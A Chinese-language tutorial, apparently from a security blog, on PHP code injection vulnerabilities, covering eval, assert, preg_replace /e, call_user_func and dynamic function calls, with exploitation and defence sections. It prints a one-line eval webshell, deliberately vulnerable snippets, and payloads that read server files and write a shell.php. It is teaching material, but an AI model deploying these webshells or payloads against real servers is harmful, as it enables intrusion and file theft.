文章目錄
- PHP 代碼注入
-
- 原理及成因
- 漏洞危害
- 相關函數和語句
-
- eval()語言結構
- assert()函數
- preg_replace()函數
- call_user_func()函數
- 動态函數`$a($b)`
- 漏洞利用
- 防禦方法
PHP 代碼注入
PHP 代碼注入 屬于代碼注入漏洞中的一種。
原理及成因
PHP 代碼執行(注入)是指(Web 方面)應用程式過濾不嚴,使用者可以通過請求将代碼注入到應用中執行。代碼執行(注入)類似于SQL注入漏洞,SQLi是将SQL語句注入到資料庫中執行,而代碼執行則是可以把代碼注入到應用中最終由伺服器運作它。這樣的漏洞如果沒有特殊的過濾,相當于直接有一個web後門的存在。
- 程式中含有可以執行php 代碼的函數或者語言結構
- 傳入第一點中的參數,用戶端可控,直接修改或者影響
漏洞危害
Web 應用如果存在代碼執行漏洞是一件非常可怕的事情,就像一個人沒有穿衣服,赤裸裸的暴露在光天化日之下。可以通過代碼執行漏洞繼承Web 使用者權限,執行任意代碼。如果具有伺服器沒有正确配置,Web 使用者權限比較高的話,我們可以讀寫目标伺服器任意檔案内容,甚至控制整個網站以及伺服器。
PHP 中有很多函數和語句都會造成PHP代碼執行漏洞。
相關函數和語句
eval()語言結構
将傳進來的字元串當作php代碼執行,裡面的參數必須加分号才能執行!
例如:一句話木馬
<?php
if(isset($_REQUEST['code'])){
eval($_REQUEST['code']);
}
?>
assert()函數
将傳進來的字元串當作php代碼執行,可以不用加分号就能執行!
<?php
if(@isset($_REQUEST['code'])){
@assert($_REQUEST['code']);
}
?>
preg_replace()函數
對字元串進行正則處理
參數和傳回值如下:
mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject [,int limit = -1[,int &$count)1)
原理:在subject中搜尋比對pattern正規表達式的部分用replacment來替換,當pattern參數存在/e 修飾符時,會将replacment的值當作php 代碼執行。
<?php
if(isset($_GET['code'])) {
$code=$_GET['code'];
preg_replace( "/\[(.*)\]/e",'\\1',$code);
// 比對[]裡面的内容,\\1代表正則第一次比對的内容
}
?>
call_user_func()函數
call_user_func( )等函數都有調用其他函數的功能,其中的第一個參數作為要調用的函數名(回調函數),第二個參數為回調函數的參數,那如果這個傳入的函數名可控,那就可以調用意外的函數來執行我們想要的代碼,也就是存在任意代碼執行漏洞。
以call_user_func()為例子,該函數的第一個參數作為回調函數,後面的參數為回調函數的參數,測試代碼如下:
<?php
if(isset($_GET['fun'])) {
$fun=$_GET['fun'];//assert
$para=$_GET['para'];//phpinfo();
call_user_func($fun,$para);//eval(phpinfo();)
}
?>
動态函數 $a($b)
$a($b)
由于PHP的特性原因,PHP的函數支援直接由拼接的方式調用,這直接導緻了PHP在安全上的控制有加大了難度。不少知名程式中也用到了動态函數的寫法,這種寫法跟使用call_user_func()的初衷一樣,用來更加友善地調用函數,但是一旦過濾不嚴格就會造成代碼執行漏洞。測試代碼如下:
<?php
if(isset($_GET['a'])) {
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}
?>
漏洞利用
-
直接擷取shell
一句話木馬使用菜刀或者蟻劍連接配接即可。
- 擷取目前檔案的絕對路徑
是PHP預定義常量,其含義目前檔案的路徑。送出代碼__FILE__
?code=print(__FILE__);
-
讀檔案
我們可以利用file_get_contents()函數讀取伺服器任意檔案,前提是知道目标檔案路徑和具有讀取權限。送出代碼
讀取伺服器hosts檔案。?code=var_dump(file_get_contents( 'c:\windows\system32\drivers\etc\hosts'));
-
寫檔案
我們可以利用file_put_contents()函數,寫入檔案。前提是知道可寫目錄。
送出代碼
第一個參數是檔案名,第二個參數是檔案内容,此時需要借助于hackbar通過post 方式送出參數?code=var_dump(file_put_contents($_POST[1],$_POST[2]));
即可在目前目錄下建立一個shell.php檔案。1=shell.php&2=<?php phpinfo()?>
防禦方法
- 盡量不要使用eval等函數
- 如果使用的話一定要進行嚴格的過濾
- preg_replace放棄使用/e修飾符
- 禁用函數,修改配置檔案php.ini裡的 disable functions = 要禁用的函數